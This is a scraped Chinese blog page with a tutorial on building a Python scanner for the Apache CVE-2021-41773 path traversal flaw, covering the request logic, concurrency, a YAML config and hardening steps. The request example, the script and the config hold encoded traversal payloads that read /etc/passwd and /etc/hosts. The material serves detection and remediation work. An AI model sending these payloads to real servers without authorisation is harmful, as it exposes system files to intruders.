news 2026/5/28 9:59:15

手把手教你用Python写一个CVE-2021-41773漏洞检测脚本(附GitHub源码)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手教你用Python写一个CVE-2021-41773漏洞检测脚本(附GitHub源码)

从零构建Apache路径穿越漏洞检测工具:Python实战指南

在网络安全领域,自动化漏洞检测工具的开发能力已成为安全工程师的核心竞争力之一。2021年曝光的Apache HTTP Server路径穿越漏洞(CVE-2021-41773)因其影响广泛且利用简单,成为检验安全工具开发能力的经典案例。本文将带您从漏洞原理分析入手,逐步构建一个功能完备的检测脚本,涵盖请求构造、响应分析、异常处理等关键环节,最终形成可直接集成到安全评估流程中的自动化工具。

1. 漏洞原理深度解析

CVE-2021-41773本质上是Apache HTTP Server 2.4.49版本中对路径规范化处理的缺陷。当服务器配置require all denied被禁用时,攻击者可以通过精心构造的URL实现目录穿越,访问Web根目录之外的文件。

核心攻击向量

  • 使用经过编码的路径遍历序列(如.%2e/代替../
  • 结合URL二次解码特性绕过安全检查
  • 针对特定文件路径的探测(如/etc/passwd

典型漏洞利用链示例:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: vulnerable-server

注意:实际检测中应使用非破坏性的测试文件,避免对目标系统造成影响

2. 检测工具架构设计

一个健壮的漏洞检测工具需要包含以下核心模块:

模块名称功能描述实现要点
请求构造器生成恶意HTTP请求支持自定义URI和编码方式
响应分析器解析服务器响应判断漏洞存在状态码、内容长度、特征匹配
异常处理器处理网络超时、连接错误等异常设置合理的超时阈值和重试机制
结果报告器生成结构化检测报告支持JSON/CSV等多种输出格式

基础检测流程伪代码:

def check_vulnerability(target_url): try: payload = construct_payload() response = send_request(target_url, payload) return analyze_response(response) except Exception as e: log_error(e) return False

3. Python实现详解

3.1 基础请求模块

使用requests库实现核心检测功能:

import requests from urllib.parse import quote def check_apache_vulnerability(target): headers = {'User-Agent': 'SecurityScanner/1.0'} test_paths = [ '/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', '/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts' ] for path in test_paths: try: url = f"{target.rstrip('/')}{quote(path)}" response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and 'root:x:' in response.text: return True, f"Vulnerable to path traversal via {path}" except requests.exceptions.RequestException: continue return False, "No vulnerability detected"

3.2 增强版检测逻辑

基础检测存在误报风险,需要增加验证逻辑:

  1. 虚假阳性过滤

    • 检查响应内容长度是否合理
    • 验证多个测试文件的返回一致性
    • 对比正常请求与恶意请求的响应差异
  2. 多维度检测指标

def is_vulnerable(response): indicators = { 'status_code': response.status_code == 200, 'content_type': 'text/plain' in response.headers.get('Content-Type', ''), 'content_length': int(response.headers.get('Content-Length', 0)) > 100, 'body_pattern': any(p in response.text for p in ['root:x:', 'localhost']) } return sum(indicators.values()) >= 3

4. 工程化改进

4.1 并发检测实现

使用线程池提高批量检测效率:

from concurrent.futures import ThreadPoolExecutor def batch_scan(targets, max_workers=5): results = [] with ThreadPoolExecutor(max_workers=max_workers) as executor: futures = {executor.submit(check_apache_vulnerability, target): target for target in targets} for future in concurrent.futures.as_completed(futures): target = futures[future] try: results.append((target, future.result())) except Exception as e: results.append((target, str(e))) return results

4.2 配置管理系统

通过配置文件管理检测参数:

# config.yaml payloads: - path: /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd patterns: ["root:x:"] - path: /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts patterns: ["localhost"] network: timeout: 10 retries: 2 user_agent: "SecurityScanner/1.0"

5. 伦理使用与防御建议

5.1 合法使用规范

  • 必须获得目标系统的书面授权
  • 限制扫描频率和并发请求数
  • 避免访问敏感系统文件
  • 使用无害的测试文件替代真实敏感文件

5.2 防御方案示例

Apache服务器加固措施:

  1. 立即升级

    # Ubuntu/Debian sudo apt update && sudo apt install apache2 # CentOS/RHEL sudo yum update httpd
  2. 配置修正

    <Directory /> Require all denied Options None AllowOverride None </Directory>

完整项目代码已托管至GitHub仓库,包含详细的文档说明和测试用例。实际开发中建议增加日志记录、速率限制和代理支持等功能,使其更适合企业级安全评估场景。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/28 9:58:47

如何永久保存微信聊天记录:WeChatMsg免费本地工具终极指南

如何永久保存微信聊天记录&#xff1a;WeChatMsg免费本地工具终极指南 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/W…

作者头像 李华
网站建设 2026/5/28 9:55:58

鸣潮自动化神器:ok-ww 后台自动战斗与声骸管理终极指南

鸣潮自动化神器&#xff1a;ok-ww 后台自动战斗与声骸管理终极指南 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸 一键日常 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 你是否厌倦了《…

作者头像 李华
网站建设 2026/5/28 9:51:35

LangSmith Trace与审计追踪的本质区别及AI应用合规日志实践

1. 项目概述&#xff1a;从“审计追踪”的幻象到“可观测性”的现实最近在和一些团队交流LangChain或LangGraph项目的生产部署经验时&#xff0c;一个高频出现的词是“审计追踪”。很多开发者&#xff0c;尤其是从传统软件工程或金融合规领域转过来的朋友&#xff0c;会下意识地…

作者头像 李华
网站建设 2026/5/28 9:50:59

ThinkCMF模板注入漏洞深度解析:不只是文件包含,更是RCE的跳板

ThinkCMF模板注入漏洞的技术本质与攻击面扩展在众多PHP框架漏洞中&#xff0c;模板注入往往被低估其危险性。ThinkCMF这个基于ThinkPHP的内容管理系统&#xff0c;近期曝光的漏洞完美诠释了模板注入如何从简单的视图操纵演变为完整的远程代码执行&#xff08;RCE&#xff09;链…

作者头像 李华